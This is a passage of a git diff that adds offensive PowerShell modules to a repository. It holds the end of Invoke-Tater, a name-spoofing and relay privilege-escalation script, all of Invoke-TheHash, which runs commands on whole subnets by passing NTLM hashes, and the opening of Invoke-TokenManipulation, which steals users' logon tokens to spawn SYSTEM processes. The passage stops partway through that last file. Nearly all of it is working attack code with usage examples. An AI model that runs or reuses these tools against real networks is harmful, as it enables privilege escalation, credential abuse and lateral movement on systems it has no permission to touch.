Net.Sockets.Socket([System.Net.Sockets.AddressFamily]::InterNetwork,[System.Net.Sockets.SocketType]::Dgram,[System.Net.Sockets.ProtocolType]::Udp) + $UDP_socket.Bind($IP_end_point) + $UDP_socket_list.Add($UDP_socket) + $UDP_failed_ports.Remove($UDP_port) + } + catch + { + $tater.console_queue.Add("$(Get-Date -format 's') - Failed to bind to $UDP_port during cleanup") + } + + } + + } + + $tater.exhaust_UDP_running = $false +} + +$spoofer_scriptblock = +{ + param ($IP,$SpooferIP,$Hostname,$NBNSLimit) + + $Hostname = $Hostname.ToUpper() + + $hostname_bytes = 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41, + 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00 + + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($Hostname) + $hostname_encoded = [System.BitConverter]::ToString($hostname_encoded) + $hostname_encoded = $hostname_encoded.Replace("-","") + $hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded) + + for ($i=0; $i -lt $hostname_encoded.Count; $i++) + { + + if($hostname_encoded[$i] -gt 64) + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 10 + } + else + { + $hostname_bytes[$i] = $hostname_encoded[$i] + 17 + } + + } + + $NBNS_response_packet = 0x00,0x00,0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 + + $hostname_bytes + + 0x00,0x20,0x00,0x01,0x00,0x00,0x00,0xa5,0x00,0x06,0x00,0x00 + + ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() + + 0x00,0x00,0x00,0x00 + + while($tater.exhaust_UDP_running) + { + Start-Sleep -s 2 + } + + $tater.console_queue.Add("$(Get-Date -format 's') - Flushing DNS resolver cache") + DnsFlushResolverCache + + $tater.console_queue.Add("$(Get-Date -format 's') - Starting NBNS spoofer to resolve $Hostname to $SpooferIP") + + $send_socket = New-Object System.Net.Sockets.UdpClient(137) + $destination_IP = [System.Net.IPAddress]::Parse($IP) + $destination_point = New-Object Net.IPEndpoint($destination_IP,137) + $send_socket.Connect($destination_point) + + while ($tater.running) + { + + :NBNS_spoofer_loop while (!$tater.hostname_spoof -and $tater.running) + { + + for ($i = 0; $i -lt 255; $i++) + { + + for ($j = 0; $j -lt 255; $j++) + { + $NBNS_response_packet[0] = $i + $NBNS_response_packet[1] = $j + $send_socket.Send($NBNS_response_packet,$NBNS_response_packet.Length) + + if($tater.hostname_spoof -and $NBNSLimit -eq 'Y') + { + break NBNS_spoofer_loop + } + + } + + } + + } + + Start-Sleep -m 5 + } + + $send_socket.Close() + } + +$tater_scriptblock = +{ + param ($NBNS,$NBNSLimit,$RunTime,$SpooferIP,$Hostname,$HTTPPort) + + if($RunTime) + { + $tater_timeout = new-timespan -Minutes $RunTime + $tater_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() + } + + while ($tater.running) + { + + if($tater.trigger -ne 2) + { + + try + { + $Hostname_IP = [System.Net.Dns]::GetHostEntry($Hostname).AddressList[0].IPAddressToString + } + catch + { + # Don't need output for this + } + + if($Hostname_IP -eq $SpooferIP) + { + + if(!$suppress_spoofed_message) + { + $tater.console_queue.Add("$(Get-Date -format 's') - $Hostname has been spoofed to $SpooferIP") + $suppress_spoofed_message = $true + } + + if($NBNSLimit -eq 'Y') + { + $tater.hostname_spoof = $true + } + + $hostname_spoof = $true + $Hostname_IP = "" + } + elseif((!$Hostname_IP -or $Hostname_IP -ne $SpooferIP) -and $NBNS -eq 'Y') + { + $tater.hostname_spoof = $false + $hostname_spoof = $false + } + + } + + if(!$tater.SMBRelay_success -and $tater.trigger -eq 1) + { + + if(Test-Path "C:\Program Files\Windows Defender\MpCmdRun.exe") + { + + if(($process_defender.HasExited -or !$process_defender) -and !$tater.SMB_relay_success -and $hostname_spoof) + { + $tater.console_queue.Add("$(Get-Date -format 's') - Running Windows Defender signature update") + $process_defender = Start-Process -FilePath "C:\Program Files\Windows Defender\MpCmdRun.exe" -Argument SignatureUpdate -WindowStyle Hidden -passthru + } + + } + else + { + $tater.console_queue.Add("Windows Defender not found") + } + + } + elseif(!$tater.SMBRelay_success -and $tater.trigger -eq 2) + { + $service_webclient = Get-Service WebClient + + if($service_webclient.Status -eq 'Stopped') + { + $tater.console_queue.Add("$(Get-Date -format 's') - Starting WebClient service") + Start-Process -FilePath "cmd.exe" -Argument "/C pushd \\live.sysinternals.com\tools" -WindowStyle Hidden -passthru -Wait + } + + if($service_webclient.Status -eq 'Running' -and !$tater.task_added -and !$tater.SMBRelay_success) + { + $timestamp_add = (Get-Date).AddMinutes(1) + $timestamp_add_string = $timestamp_add.ToString("HH:mm") + $tater.task = $tater.taskname + + if($tater.task_delete) + { + $tater.task += "_" + $tater.task += Get-Random + } + + $tater.console_queue.Add("$(Get-Date -format 's') - Adding scheduled task " + $tater.task) + $process_scheduled_task = "/C schtasks.exe /Create /TN " + $tater.task + " /TR \\127.0.0.1@$HTTPPort\test /SC ONCE /ST $timestamp_add_string /F" + Start-Process -FilePath "cmd.exe" -Argument $process_scheduled_task -WindowStyle Hidden -passthru -Wait + + $schedule_service = new-object -com("Schedule.Service") + $schedule_service.connect() + $scheduled_task_list = $schedule_service.getfolder("\").gettasks(1) + + $tater.task_added = $false + + foreach($scheduled_task in $scheduled_task_list) + { + + if($scheduled_task.name -eq $tater.task) + { + $tater.task_added = $true + } + + } + + $schedule_service.Quit() + + if(!$tater.task_added -and !$tater.SMBRelay_success) + { + $tater.console_queue.Add("$(Get-Date -format 's') - Adding scheduled task " + $tater.task + " failed") + StopTater + } + + } + elseif($tater.task_added -and (Get-Date) -ge $timestamp_add.AddMinutes(2)) + { + $tater.console_queue.Add("$(Get-Date -format 's') - Something went wrong with the service") + StopTater + } + + } + + if($tater.SMBRelay_success) + { + Stop-Process -id $process_defender.Id + } + + if($RunTime) + { + + if($tater_stopwatch.Elapsed -ge $tater_timeout) + { + StopTater + } + + } + + Start-Sleep -m 5 + } + + } + +# HTTP Listener Startup Function +function HTTPListener() +{ + + if($WPADPort -eq '80') + { + $tater.HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::loopback,$HTTPPort) + } + else + { + $tater.HTTP_endpoint = New-Object System.Net.IPEndPoint([System.Net.IPAddress]::any,$HTTPPort) + } + + $tater.HTTP_listener = New-Object System.Net.Sockets.TcpListener $tater.HTTP_endpoint + $tater.HTTP_listener.Start() + $HTTP_runspace = [RunspaceFactory]::CreateRunspace() + $HTTP_runspace.Open() + $HTTP_runspace.SessionStateProxy.SetVariable('tater',$tater) + $HTTP_powershell = [PowerShell]::Create() + $HTTP_powershell.Runspace = $HTTP_runspace + $HTTP_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $HTTP_powershell.AddScript($SMB_relay_challenge_scriptblock) > $null + $HTTP_powershell.AddScript($SMB_relay_response_scriptblock) > $null + $HTTP_powershell.AddScript($SMB_relay_execute_scriptblock) > $null + $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null + $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Command).AddArgument($HTTPPort).AddArgument( + $WPADDirectHosts).AddArgument($WPADPort) > $null + $HTTP_powershell.BeginInvoke() > $null +} + +# Exhaust UDP Startup Function +function ExhaustUDP() +{ + $exhaust_UDP_runspace = [RunspaceFactory]::CreateRunspace() + $exhaust_UDP_runspace.Open() + $exhaust_UDP_runspace.SessionStateProxy.SetVariable('tater',$tater) + $exhaust_UDP_powershell = [PowerShell]::Create() + $exhaust_UDP_powershell.Runspace = $exhaust_UDP_runspace + $exhaust_UDP_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $exhaust_UDP_powershell.AddScript($exhaust_UDP_scriptblock) > $null + $exhaust_UDP_powershell.BeginInvoke() > $null +} + +# Spoofer Startup Function +function Spoofer() +{ + $spoofer_runspace = [RunspaceFactory]::CreateRunspace() + $spoofer_runspace.Open() + $spoofer_runspace.SessionStateProxy.SetVariable('tater',$tater) + $spoofer_powershell = [PowerShell]::Create() + $spoofer_powershell.Runspace = $spoofer_runspace + $spoofer_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $spoofer_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null + $spoofer_powershell.AddScript($spoofer_scriptblock).AddArgument($IP).AddArgument($SpooferIP).AddArgument( + $Hostname).AddArgument($NBNSLimit) > $null + $spoofer_powershell.BeginInvoke() > $null +} + +# Tater Loop Function +function TaterLoop() +{ + $tater_runspace = [RunspaceFactory]::CreateRunspace() + $tater_runspace.Open() + $tater_runspace.SessionStateProxy.SetVariable('tater',$tater) + $tater_powershell = [PowerShell]::Create() + $tater_powershell.Runspace = $tater_runspace + $tater_powershell.AddScript($shared_basic_functions_scriptblock) > $null + $tater_powershell.AddScript($tater_scriptblock).AddArgument($NBNS).AddArgument($NBNSLimit).AddArgument( + $RunTime).AddArgument($SpooferIP).AddArgument($Hostname).AddArgument( + $HTTPPort) > $null + $tater_powershell.BeginInvoke() > $null +} + +# HTTP Server Start +HTTPListener + +# Exhaust UDP Start +if($ExhaustUDP -eq 'Y') +{ + ExhaustUDP +} + +# Spoofer Start +if($NBNS -eq 'Y') +{ + Spoofer +} + +# Tater Loop Start +TaterLoop + +if($tater.console_output) +{ + + :console_loop while($tater.running -and $tater.console_output) + { + + while($tater.console_queue.Count -gt 0) + { + Write-Output($tater.console_queue[0] + $tater.newline) + $tater.console_queue.RemoveRange(0,1) + } + + if($tater.console_input) + { + + if([Console]::KeyAvailable) + { + $tater.console_output = $false + BREAK console_loop + } + + } + + Start-Sleep -m 5 + } + + if(!$tater.running) + { + Remove-Variable tater -scope global + } + +} + +} +#End Invoke-Tater + +function Stop-Tater +{ + <# + .SYNOPSIS + Stop-Tater will stop Tater before a successful privilege escalation. + #> + if($tater) + { + + if($tater.running) + { + Write-Output "$(Get-Date -format 's') - Stopping HTTP listener" + $tater.HTTP_listener.server.blocking = $false + Start-Sleep -s 1 + $tater.HTTP_listener.server.Close() + Start-Sleep -s 1 + $tater.HTTP_listener.Stop() + $tater.running = $false + + if($tater.task_delete -and $tater.task_added) + { + $scheduled_task_deleted = $false + $schedule_service = new-object -com("Schedule.Service") + $schedule_service.connect() + $scheduled_task_folder = $schedule_service.getfolder("\") + $scheduled_task_list = $scheduled_task_folder.gettasks(1) + + foreach($scheduled_task in $scheduled_task_list) + { + + if($scheduled_task.name -eq $tater.task) + { + $scheduled_task_folder.DeleteTask($scheduled_task.name,0) + } + + } + + foreach($scheduled_task in $scheduled_task_list) + { + + if($scheduled_task.name -eq $tater.task) + { + $scheduled_task_deleted = $true + } + + } + + if($scheduled_task_deleted) + { + Write-Output ("$(Get-Date -format 's') - Scheduled task " + $tater.task + " deleted successfully") + } + else + { + Write-Output ("$(Get-Date -format 's') - Scheduled task " + $tater.task + " deletion failed, remove manually") + } + + } + elseif($tater.task_added) + { + Write-Output ("$(Get-Date -format 's') - Remove scheduled task " + $tater.task + " manually when finished") + } + + Write-Output "$(Get-Date -format 's') - Tater has been stopped" + } + else + { + Write-Output "Tater isn't running" + } + + } + else + { + Write-Output "Tater isn't running" + } + + Remove-Variable tater -scope global +} + +function Get-Tater +{ + <# + .SYNOPSIS + Get-Tater will display queued Tater output. + #> + while($tater.console_queue.Count -gt 0) + { + Write-Output($tater.console_queue[0] + $tater.newline) + $tater.console_queue.RemoveRange(0,1) + } + +} diff --git a/Modules/Invoke-TheHash.ps1 b/Modules/Invoke-TheHash.ps1 new file mode 100644 index 0000000..3a552b4 --- /dev/null +++ b/Modules/Invoke-TheHash.ps1 @@ -0,0 +1,243 @@ +function Invoke-TheHash +{ +<# +.SYNOPSIS +Invoke-TheHash has the ability to target multiple hosts with Invoke-SMBExec or Invoke-WMIExec. This function is +primarily for checking a hash against multiple systems. The function can also be used to execute commands +on multiple systems. Note that in most cases it's advisable to just open a single shell and then use other tools +from within that session. + +.PARAMETER Type +Sets the desired Invoke-TheHash function. Set to either WMIExec or SMBExec. + +.PARAMETER Targets +List of hostnames, IP addresses, or CIDR notation for targets. + +.PARAMETER TargetsExclude +List of hostnames and/or IP addresses to exclude form the list or targets. Note that the format +(hostname vs IP address) must match the format used with the Targets parameter. For example, if the host was added +to Targets within a CIDR notation, it must be excluded as an IP address. + +.PARAMETER PortCheckDisable +(Switch) Disable WMI or SMB port check. Since this function is not yet threaded, the port check serves to speed up +the function by checking for an open WMI or SMB port before attempting a full synchronous TCPClient connection. + +.PARAMETER PortCheckTimeout +Default = 100: Set the no response timeout in milliseconds for the WMI or SMB port check. + +.PARAMETER Username +Username to use for authentication. + +.PARAMETER Domain +Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username. + +.PARAMETER Hash +NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format. + +.PARAMETER Command +Command to execute on the target. If a command is not specified, the function will just check to see if the username and hash has access to WMI on the target. + +.PARAMETER CommandCOMSPEC +Default = Enabled: SMBExec type only. Prepend %COMSPEC% /C to Command. + +.PARAMETER Service +Default = 20 Character Random: SMBExec type only. Name of the service to create and delete on the target. + +.PARAMETER SMB1 +(Switch) Force SMB1. SMBExec type only. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the +target. + +.PARAMETER Sleep +Default = WMI 10 Milliseconds, SMB 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this +setting if you are experiencing strange results. + +.EXAMPLE +Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 + +.EXAMPLE +$target_output = Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 +$target_list = ConvertTo-TargetList $target_output +Invoke-TheHash -Type WMIExec -Targets $target_list -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose + +.LINK +https://github.com/Kevin-Robertson/Invoke-TheHash + +#> +[CmdletBinding()] +param +( + [parameter(Mandatory=$true)][Array]$Targets, + [parameter(Mandatory=$false)][Array]$TargetsExclude, + [parameter(Mandatory=$true)][String]$Username, + [parameter(Mandatory=$false)][String]$Domain, + [parameter(Mandatory=$false)][String]$Service, + [parameter(Mandatory=$false)][String]$Command, + [parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$CommandCOMSPEC="Y", + [parameter(Mandatory=$true)][ValidateSet("SMBExec","WMIExec")][String]$Type, + [parameter(Mandatory=$false)][Int]$PortCheckTimeout = 100, + [parameter(Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash, + [parameter(Mandatory=$false)][Switch]$PortCheckDisable, + [parameter(Mandatory=$false)][Int]$Sleep, + [parameter(Mandatory=$false)][Switch]$SMB1 +) + +$target_list = New-Object System.Collections.ArrayList +$target_list_singles = New-Object System.Collections.ArrayList +$target_list_subnets = New-Object System.Collections.ArrayList + +if($Type -eq 'WMIExec') +{ + $Sleep = 10 +} +else +{ + $Sleep = 150 +} + +# subnet parsing code borrowed heavily from Rich Lundeen's Invoke-Portscan +foreach($target in $Targets) +{ + + if($target.contains("/")) + { + $target_split = $target.split("/")[0] + [uint32]$subnet_mask_split = $target.split("/")[1] + + $target_address = [System.Net.IPAddress]::Parse($target_split) + + if($subnet_mask_split -ge $target_address.GetAddressBytes().Length * 8) + { + throw "Subnet mask is not valid" + } + + $target_count = [System.math]::Pow(2,(($target_address.GetAddressBytes().Length * 8) - $subnet_mask_split)) + + $target_start_address = $target_address.GetAddressBytes() + [array]::Reverse($target_start_address) + + $target_start_address = [System.BitConverter]::ToUInt32($target_start_address,0) + [uint32]$target_subnet_mask_start = ([System.math]::Pow(2, $subnet_mask_split)-1) * ([System.Math]::Pow(2,(32 - $subnet_mask_split))) + $target_start_address = $target_start_address -band $target_subnet_mask_start + + $target_start_address = [System.BitConverter]::GetBytes($target_start_address)[0..3] + [array]::Reverse($target_start_address) + + $target_address = [System.Net.IPAddress] [byte[]] $target_start_address + + $target_list_subnets.Add($target_address.IPAddressToString) > $null + + for ($i=0; $i -lt $target_count-1; $i++) + { + $target_next = $target_address.GetAddressBytes() + [array]::Reverse($target_next) + $target_next = [System.BitConverter]::ToUInt32($target_next,0) + $target_next ++ + $target_next = [System.BitConverter]::GetBytes($target_next)[0..3] + [array]::Reverse($target_next) + + $target_address = [System.Net.IPAddress] [byte[]] $target_next + $target_list_subnets.Add($target_address.IPAddressToString) > $null + } + + $target_list_subnets.RemoveAt(0) + $target_list_subnets.RemoveAt($target_list_subnets.Count - 1) + + } + else + { + $target_list_singles.Add($target) > $null + } + +} + +$target_list.AddRange($target_list_singles) +$target_list.AddRange($target_list_subnets) + +foreach($target in $TargetsExclude) +{ + $target_list.Remove("$Target") +} + +foreach($target in $target_list) +{ + + if($type -eq 'WMIExec') + { + + if(!$PortCheckDisable) + { + $WMI_port_test = New-Object System.Net.Sockets.TCPClient + $WMI_port_test_result = $WMI_port_test.BeginConnect($target,"135",$null,$null) + $WMI_port_test_success = $WMI_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false) + $WMI_port_test.Close() + } + + if($WMI_port_test_success -or $PortCheckDisable) + { + Invoke-WMIExec -username $Username -domain $Domain -hash $Hash -command $Command -target $target -sleep $Sleep + } + + } + elseif($Type -eq 'SMBExec') + { + + if(!$PortCheckDisable) + { + $SMB_port_test = New-Object System.Net.Sockets.TCPClient + $SMB_port_test_result = $SMB_port_test.BeginConnect($target,"445",$null,$null) + $SMB_port_test_success = $SMB_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false) + $SMB_port_test.Close() + } + + if($SMB_port_test_success -or $PortCheckDisable) + { + Invoke-SMBExec -username $Username -domain $Domain -hash $Hash -command $Command -CommandCOMSPEC $CommandCOMSPEC -Service $Service -target $target -smb1:$smb1 -sleep $Sleep + } + + } + +} + +} + +function ConvertTo-TargetList +{ +<# +.SYNOPSIS +ConvertTo-TargetList converts an Invoke-TheHash output array to an array that contains only targets discovered to +have Invoke-WMIExec or Invoke-SMBExec access. The output of this function can be passed back into Invoke-TheHash +through the Targets parameter. + +.PARAMETER $OutputArray +The output array returned by Invoke-TheHash. + +.EXAMPLE +$target_output = Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 +$target_list = ConvertTo-TargetList $target_output +Invoke-TheHash -Type WMIExec -Targets $target_list -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose + +.LINK +https://github.com/Kevin-Robertson/Invoke-TheHash + +#> + +[CmdletBinding()] +param ([parameter(Mandatory=$true)][Array]$Invoke_TheHash_Output) + +$target_list = New-Object System.Collections.ArrayList + +foreach($target in $ITHOutput) +{ + + if($target -like "* on *" -and $target -notlike "* denied *" -and $target -notlike "* failed *" -and $target -notlike "* is not *") + { + $target_index = $target.IndexOf(" on ") + $target_index += 4 + $target = $target.SubString($target_index,($target.Length - $target_index)) + $target_list.Add($target) > $null + } + +} + +return $target_list +} diff --git a/Modules/Invoke-TokenManipulation.ps1 b/Modules/Invoke-TokenManipulation.ps1 new file mode 100644 index 0000000..7bfce3b --- /dev/null +++ b/Modules/Invoke-TokenManipulation.ps1 @@ -0,0 +1,1913 @@ +function Invoke-TokenManipulation +{ +<# +.SYNOPSIS + +This script requires Administrator privileges. It can enumerate the Logon Tokens available and use them to create new processes. This allows you to use +anothers users credentials over the network by creating a process with their logon token. This will work even with Windows 8.1 LSASS protections. +This functionality is very similar to the incognito tool (with some differences, and different use goals). + +This script can also make the PowerShell thread impersonate another users Logon Token. Unfortunately this doesn't work well, because PowerShell +creates new threads to do things, and those threads will use the Primary token of the PowerShell process (your original token) and not the token +that one thread is impersonating. Because of this, you cannot use thread impersonation to impersonate a user and then use PowerShell remoting to connect +to another server as that user (it will authenticate using the primary token of the process, which is your original logon token). + +Because of this limitation, the recommended way to use this script is to use CreateProcess to create a new PowerShell process with another users Logon +Token, and then use this process to pivot. This works because the entire process is created using the other users Logon Token, so it will use their +credentials for the authentication. + +IMPORTANT: If you are creating a process, by default this script will modify the ACL of the current users desktop to allow full control to "Everyone". +This is done so that the UI of the process is shown. If you do not need the UI, use the -NoUI flag to prevent the ACL from being modified. This ACL +is not permenant, as in, when the current logs off the ACL is cleared. It is still preferrable to not modify things unless they need to be modified though, +so I created the NoUI flag. ALSO: When creating a process, the script will request SeSecurityPrivilege so it can enumerate and modify the ACL of the desktop. +This could show up in logs depending on the level of monitoring. + + +PERMISSIONS REQUIRED: +SeSecurityPrivilege: Needed if launching a process with a UI that needs to be rendered. Using the -NoUI flag blocks this. +SeAssignPrimaryTokenPrivilege : Needed if launching a process while the script is running in Session 0. + + +Important differences from incognito: +First of all, you should probably read the incognito white paper to understand what incognito does. If you use incognito, you'll notice it differentiates +between "Impersonation" and "Delegation" tokens. This is because incognito can be used in situations where you get remote code execution against a service +which has threads impersonating multiple users. Incognito can enumerate all tokens available to the service process, and impersonate them (which might allow +you to elevate privileges). This script must be run as administrator, and because you are already an administrator, the primary use of this script is for pivoting +without dumping credentials. + +In this situation, Impersonation vs Delegation does not matter because an administrator can turn any token in to a primary token (delegation rights). What does +matter is the logon type used to create the logon token. If a user connects using Network Logon (aka type 3 logon), the computer will not have any credentials for +the user. Since the computer has no credentials associated with the token, it will not be possible to authenticate off-box with the token. All other logon types +should have credentials associated with them (such as Interactive logon, Service logon, Remote interactive logon, etc). Therefore, this script looks +for tokens which were created with desirable logon tokens (and only displays them by default). + +In a nutshell, instead of worrying about "delegation vs impersonation" tokens, you should worry about NetworkLogon (bad) vs Non-NetworkLogon (good). + + +PowerSploit Function: Invoke-TokenManipulation +Author: Joe Bialek, Twitter: @JosephBialek +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None +Version: 1.11 +(1.1 -> 1.11: PassThru of System.Diagnostics.Process object added by Rune Mariboe, https://www.linkedin.com/in/runemariboe) + +.DESCRIPTION + +Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. + +.PARAMETER Enumerate + +Switch. Specifics to enumerate logon tokens available. By default this will only list unqiue usable tokens (not network-logon tokens). + +.PARAMETER RevToSelf + +Switch. Stops impersonating an alternate users Token. + +.PARAMETER ShowAll + +Switch. Enumerate all Logon Tokens (including non-unique tokens and NetworkLogon tokens). + +.PARAMETER ImpersonateUser + +Switch. Will impersonate an alternate users logon token in the PowerShell thread. Can specify the token to use by Username, ProcessId, or ThreadId. + This mode is not recommended because PowerShell is heavily threaded and many actions won't be done in the current thread. Use CreateProcess instead. + +.PARAMETER CreateProcess + +Specify a process to create with an alternate users logon token. Can specify the token to use by Username, ProcessId, or ThreadId. + +.PARAMETER WhoAmI + +Switch. Displays the credentials the PowerShell thread is running under. + +.PARAMETER Username + +Specify the Token to use by username. This will choose a non-NetworkLogon token belonging to the user. + +.PARAMETER ProcessId + +Specify the Token to use by ProcessId. This will use the primary token of the process specified. + +.PARAMETER Process + +Specify the token to use by process object (will use the processId under the covers). This will impersonate the primary token of the process. + +.PARAMETER ThreadId + +Specify the Token to use by ThreadId. This will use the token of the thread specified. + +.PARAMETER ProcessArgs + +Specify the arguments to start the specified process with when using the -CreateProcess mode. + +.PARAMETER NoUI + +If you are creating a process which doesn't need a UI to be rendered, use this flag. This will prevent the script from modifying the Desktop ACL's of the +current user. If this flag isn't set and -CreateProcess is used, this script will modify the ACL's of the current users desktop to allow full control +to "Everyone". + +.PARAMETER PassThru + +If you are creating a process, this will pass the System.Diagnostics.Process object to the pipeline. + + +.EXAMPLE + +Invoke-TokenManipulation -Enumerate + +Lists all unique usable tokens on the computer. + +.EXAMPLE + +Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system" + +Spawns cmd.exe as SYSTEM. + +.EXAMPLE + +Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system" + +Makes the current PowerShell thread impersonate SYSTEM. + +.EXAMPLE + +Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500 + +Spawns cmd.exe using the primary token belonging to process ID 500. + +.EXAMPLE + +Invoke-TokenManipulation -ShowAll + +Lists all tokens available on the computer, including non-unique tokens and tokens created using NetworkLogon. + +.EXAMPLE + +Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500 + +Spawns cmd.exe using the token belonging to thread ID 500. + +.EXAMPLE + +Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" + +Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Get-Process to the "-Process" parameter of the script. + +.EXAMPLE + +(Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" -PassThru).WaitForExit() + +Spawns cmd.exe using the primary token of LSASS.exe. Then holds the spawning PowerShell session until that process has exited. + +.EXAMPLE + +Get-Process wininit | Invoke-TokenManipulation -ImpersonateUser + +Makes the current thread impersonate the lsass security token. + +.NOTES +This script was inspired by incognito. + +Several of the functions used in this script were written by Matt Graeber(Twitter: @mattifestation, Blog: http://www.exploit-monday.com/). +BIG THANKS to Matt Graeber for helping debug. + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ + +#> + + [CmdletBinding(DefaultParameterSetName="Enumerate")] + Param( + [Parameter(ParameterSetName = "Enumerate")] + [Switch] + $Enumerate, + + [Parameter(ParameterSetName = "RevToSelf")] + [Switch] + $RevToSelf, + + [Parameter(ParameterSetName = "ShowAll")] + [Switch] + $ShowAll, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Switch] + $ImpersonateUser, + + [Parameter(ParameterSetName = "CreateProcess")] + [String] + $CreateProcess, + + [Parameter(ParameterSetName = "WhoAmI")] + [Switch] + $WhoAmI, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Parameter(ParameterSetName = "CreateProcess")] + [String] + $Username, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Parameter(ParameterSetName = "CreateProcess")] + [Int] + $ProcessId, + + [Parameter(ParameterSetName = "ImpersonateUser", ValueFromPipeline=$true)] + [Parameter(ParameterSetName = "CreateProcess", ValueFromPipeline=$true)] + [System.Diagnostics.Process] + $Process, + + [Parameter(ParameterSetName = "ImpersonateUser")] + [Parameter(ParameterSetName = "CreateProcess")] + $ThreadId, + + [Parameter(ParameterSetName = "CreateProcess")] + [String] + $ProcessArgs, + + [Parameter(ParameterSetName = "CreateProcess")] + [Switch] + $NoUI, + + [Parameter(ParameterSetName = "CreateProcess")] + [Switch] + $PassThru + ) + + Set-StrictMode -Version 2 + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + + #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ + Function Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + ############################### + #Win32Constants + ############################### + $Constants = @{ + ACCESS_SYSTEM_SECURITY = 0x01000000 + READ_CONTROL = 0x00020000 + SYNCHRONIZE = 0x00100000 + STANDARD_RIGHTS_ALL = 0x001F0000 + TOKEN_QUERY = 8 + TOKEN_ADJUST_PRIVILEGES = 0x20 + ERROR_NO_TOKEN = 0x3f0 + SECURITY_DELEGATION = 3 + DACL_SECURITY_INFORMATION 